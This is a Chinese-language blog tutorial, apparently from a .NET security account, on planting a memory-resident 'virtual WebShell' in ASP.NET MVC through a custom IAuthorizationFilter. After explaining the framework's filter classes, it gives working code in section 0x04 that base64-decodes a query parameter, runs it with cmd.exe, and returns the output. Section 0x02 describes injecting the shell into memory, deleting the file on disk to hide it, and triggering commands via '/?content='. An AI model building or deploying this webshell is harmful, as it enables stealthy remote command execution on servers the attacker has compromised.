.NET实现虚拟WebShell第3课之IAuthorizationFilter

0x01 背景

授权过滤器(IAuthorizationFilter)在认证过滤器(IAuthenticationFilter)之后,从命名来看AuthorizationFilter用于完成授权相关的工作,所以它应该在Action方法被调用之前执行才能起到授权的作用。不仅限于授权,如果我们希望目标Action方法被调用之前中断执行的流程“做点什么”,都可以以AuthorizationFilter的形式来实现。.

0x02 效果

大致可以分为三步,后续文章里笔者还会继续简化和高效利用,目前先运行第1步访问 /dotnetofAuthenticationFilter.aspx 将虚拟文件注入到内存,并删除此文件;第2步打开新的浏览器标签页访问默认主页 /?content=dGFza2xpc3Q=也可以正常触发,记得tasklist需base编码。成功结果如下图

.NET实现虚拟WebShell第3课之IAuthorizationFilter

0x03 原理

3.1 FilterAttribute

在MVC中所有的过滤器默认都继承了基础类FilterAttribute,如下面的代码片断所示,FilterAttribute特性实现了IMvcFilter接口,该接口定义了Order和AllowMultiple两个只读属性,分别用于控制筛选器的执行顺序以及多个同类的筛选器能够同时应用到同一个目标类或者方法。

[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple = false)]public abstract class FilterAttribute : Attribute, IMvcFilter    {        private static readonly ConcurrentDictionary<Type, bool> _multiuseAttributeCache = new ConcurrentDictionary<Type, bool>();        private int _order = -1;        public bool AllowMultiple => AllowsMultiple(GetType());        public int Order        {            get            {                return _order;            }            set            {                if (value < -1)                {                    throw new ArgumentOutOfRangeException("value", MvcResources.FilterAttribute_OrderOutOfRange);                }                _order = value;            }        }
        private static bool AllowsMultiple(Type attributeType)        {            return _multiuseAttributeCache.GetOrAdd(attributeType, (Type type) => type.GetCustomAttributes(typeof(AttributeUsageAttribute), inherit: true).Cast<AttributeUsageAttribute>().First()                .AllowMultiple);        }    }

从应用在FilterAttribute上的AttributeUsageAttribute的定义可以看出该特性可以应用在类型和方法上,这意味着筛选器一般都可以应用在Controller类型和Action方法上。只读属性AllowMultiple实际上返回的是AttributeUsageAttribute的同名属性,通过上面的定义我们可以看到默认情况下该属性值为False。 

3.2 OnAuthorization

在MVC中所有的AuthorizationFilter实现了接口IAuthorizationFilter。如下面的代码片断所示,IAuthorizationFilter定义了一个OnAuthorization方法用于实现授权的操作。作为该方法的参数filterContext是一个表示授权上下文的AuthorizationContext对象, 而AuthorizationContext直接继承自ControllerContext。

.NET实现虚拟WebShell第3课之IAuthorizationFilter

AuthorizationFilter的执行是进行Action执行的第一项工作,因为Action方法执行等操作只有在成功授权的基础上才会有意义,后续创建一个表示授权上下文的AuthorizationContext对象,然后将此AuthorizationContext对象作为参数,按照Filter对象Order和Scope属性决定的顺序执行所有AuthorizationFilter的OnAuthorization。

3.3 AuthorizeAttribute

微软MVC框架默认提供了AuthorizationFilter实现类AuthorizeAttribute,该类既继承了抽象类FilterAttribute又实现了IAuthorizationFilter接口,如果我们要求某个Action只能被认证的用户访问,可以在Controller类型或者Action方法上应用具有如下定义的AuthorizeAttribute特性。AuthorizeAttribute还可以具体限制目标Action可被访问的用户或者角色,它的Users和Roles属性用于指定被授权的用户名和角色列表,中间用采用逗号作为分隔符。如果没有显式地对Users和Roles属性进行设置,AuthorizeAttribute在进行授权操作的时候只要求访问者是被认证的用户。如下代码片段

public string Roles        {            get            {                return _roles ?? string.Empty;            }            set            {                _roles = value;                _rolesSplit = SplitString(value);            }        }                public string Users        {            get            {                return _users ?? string.Empty;            }            set            {                _users = value;                _usersSplit = SplitString(value);            }        }

如果授权失败(当前访问者是未被授权用户,或者当前用户的用户名或者角色没有在指定的授权用户或者角色列表中),AuthorizeAttribute会创建一个HttpUnauthorizedResult对象,并赋值给AuthorizationContext的Result属性,意味着会响应一个状态为“401,Unauthorized”的回复。如下图AuthorizeAttribute类里定义的OnAuthorization,里面包含用户Users和角色Roles属性,AuthorizeCore方法用来实现授权检查,HandleUnauthorizedRequest方法是当授权失败时处理的动作

.NET实现虚拟WebShell第3课之IAuthorizationFilter

0x04 WebShell

下面笔者将改写OnAuthorization方法,首先我们在站点文件夹下添加一个名为 dotnetofAuthorizeFilter.aspx 的过滤器文件,创建MyAuthenticationFilter类继承 IAuthorizationFilter 接口,OnAuthorization方法内获取外部传入的base64数据,得到request对象后解码,另外为了具备命令执行后回显,使用StandardOutput.ReadToEnd读取命令执行后的所有返回数据,代码片段如下

if (content != null)            {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = new Process();                p.StartInfo.FileName = "cmd.exe";                p.StartInfo.Arguments = "/c " + System.Text.Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(content));                 p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardOutput = true;                p.StartInfo.RedirectStandardError = true;                p.Start();                byte[] data = Encoding.Default.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());                response.Write("<pre>" + Encoding.Default.GetString(data) + "</pre>");                response.End();            }

0x05 结语

.NET MVC下还有很多这样的过滤器可以被用来实现虚拟Webshell,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET相关的安全知识,请大伙继续关注。另外文章涉及的PDF和Demo以及工具已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

.NET实现虚拟WebShell第3课之IAuthorizationFilter